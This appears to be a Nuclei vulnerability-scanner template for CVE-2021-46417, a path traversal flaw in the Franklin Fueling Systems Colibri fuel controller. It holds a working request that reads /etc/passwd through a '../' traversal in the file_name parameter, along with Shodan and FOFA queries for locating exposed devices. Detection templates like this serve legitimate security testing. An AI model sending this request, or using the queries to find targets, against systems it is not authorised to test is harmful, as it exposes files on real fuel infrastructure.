Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion

id: CVE-2021-46417

info:
  name: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
    Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 is susceptible to local file inclusion because of insecure handling of a download function that leads to disclosure of internal files due to path traversal with root privileges.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Apply the latest security patch or update provided by Franklin Fueling Systems to fix the LFI vulnerability.
  reference:
    - https://packetstormsecurity.com/files/166671/Franklin-Fueling-Systems-Colibri-Controller-Module-1.8.19.8580-Local-File-Inclusion.html
    - https://drive.google.com/drive/folders/1Yu4aVDdrgvs-F9jP3R8Cw7qo_TC7VB-R
    - http://packetstormsecurity.com/files/166610/FFS-Colibri-Controller-Module-1.8.19.8580-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46417
    - https://github.com/KayCHENvip/vulnerability-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46417
    cwe-id: CWE-22
    epss-score: 0.64772
    epss-percentile: 0.97891
    cpe: cpe:2.3:o:franklinfueling:colibri_firmware:1.8.19.8580:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: franklinfueling
    product: colibri_firmware
    shodan-query:
      - http.html:"Franklin Fueling Systems"
      - http.html:"franklin fueling systems"
    fofa-query: body="franklin fueling systems"
  tags: cve2021,cve,packetstorm,franklinfueling,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password="

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a004730450220513bea16bbb12a8f1928e5058cc3083aa2c68ce081834fc82a44dc857105948a022100bcba114fd94a81272c7b73cf9cbf70272cb0f8e5512015dba9bd41d6cc7ad6d3:922c64590222798bb761d5b6d8e72950